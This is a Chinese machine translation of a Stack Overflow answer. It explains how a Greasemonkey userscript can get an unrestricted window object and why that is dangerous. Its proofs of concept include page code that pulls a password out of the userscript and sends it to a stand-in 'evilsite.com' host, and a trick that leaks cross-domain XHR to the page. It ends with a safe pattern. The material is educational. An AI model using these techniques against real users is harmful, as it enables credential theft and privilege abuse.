我找到了解决问题的方法。但要小心使用此方法:当您部分/错误地实现此代码时,您将打开一个潜在的安全漏洞。
下面的代码获得了一个window
对象没有模糊的限制unsafeWindow
。在此范围内执行的任何代码window
如果对象是实际页面的一部分,它的行为就会类似于 Google Chrome 扩展中的内容脚本。
Code
// ==UserScript==
// @name http://stackoverflow.com/q/4804765
// @namespace Rob W
// @include file:///tmp/test.html*
// ==/UserScript==
//Get a window object which is less restricted than unsafeWindow
var $_WINDOW = new XPCNativeWrapper(window, "")
.getInterface(Components.interfaces.nsIDOMWindow);
//Create an anonymous function wrapper for security
(function(){
var obj = new $_WINDOW.namespace.constructor;
obj.sum(4,5);
}).call($_WINDOW)
安全考虑
- 包装使用此方法/变量的代码
window
函数中的对象,这样就不会产生危险的漏洞。不允许此函数包装器根据用户输入执行随机代码。
- See 实施例3正确的实施方法
$_WINDOW
示例/概念证明
下面我将展示可能出现的情况$_WINDOW
对象以危险的方式实现。很明显,代码“//page
” 出乎 GM 脚本开发者的意料。
注意:某些示例(例如示例 2)可能对于安全(本地)基于 Web 的应用程序(位于file:///
例如协议)。
示例 3 显示了正确的使用方法$_WINDOW
.
我已经使用了魔法__defineGetter__
函数来检测对变量的调用,因为大多数脚本开发人员不知道此功能。直接调用函数也会触发有害代码;
主要原因在于arguments.callee.caller
。在函数内部,此对象将引用调用当前函数的函数。什么时候unsafeWindow
被使用时,arguments.callee.caller
无法调用变量。该函数将显示为function SJOWContentBoundary{ [native code]}
。然而,当$_WINDOW
使用后,真正的GM函数是由远程页面可见和可调用的。
实施例1:
从 GreaseMonkey 脚本读取(合理)数据
//GreaseMonkey:
var password = "password";
alert($_WINDOW.namespace.Var); //Seemingly harmless?
//Page:
var namespace = {Var:1};
namespace.__defineGetter__("Var", function(){
var gm_function = arguments.callee.caller;
var password = gm_function.toString().match(/var password = "(.*?)";\n/);
(new Image).src = "http://evilsite.com/stealpassword.php?p=" + password[0];
})
实施例2:
跨域泄露XMLHttpRequest
方法到任意页面。
该 GM 脚本的创建者打算根据哈希更改来修改页面。然而,通过在更改 URL/回调的函数中包含检查(页面是否应该受到影响),会产生一个漏洞。
//GreaseMonkey:
var base_url, callback;
function checkExistent(url, func){
base_url = url;
callback = func;
return typeof $_WINDOW.some_var != "undefined"; //<---Leaked!
}
var isExistent = checkExistent("http://example.com/load?h=", function(res){
alert(res.responseText);
});
var lastHash = unsafeWindow.location.hash.substr(1);
if(confirm(isExistent)){
window.setInterval(function(){ //Create poller to detect hash changes
var newHash = unsafeWindow.location.hash.substr(1);
if(lastHash != newHash){
GM_xmlhttpRequest({method:"GET",
"url": base_url + newHash, onload:callback});
lastHash = newHash;
}
}, 300);
}
//Page
var step = 0, xhr;
window.__defineGetter__("some_var", function(){
if(!step++){ //Define the xhr first time
xhr = function(url, callback){
arguments.callee.caller(url, callback);
// = function checkExistent(url, callback) !!!!
location.hash += "."; //Edit hash to trigger XHR
}
}
return step;
});
实施例3:
正确使用
应定义变量 getter,以便不能发出任意请求。函数不应接受变量。如果仍然需要,请将 getter 包装在匿名函数中。
//GM:
function getUserdata(){
//Get a string from a page. Wrap the string in a new String object,
// to make sure that no evil properties/methods are defined
return String($_WINDOW.variable);
}
//Method 2
//The developer of the GM script has to define a correct wrapper for type:
// String, Number, Boolean, ...
function getRandomVariable(type, name){
var variable = (function(){ //No arguments, no hazards
return $_WINDOW[name];
})();
return type(variable);
}
getRandomVariable(String, "variable");
//Page:
var variable = "There's no way to abuse this GM bridge.";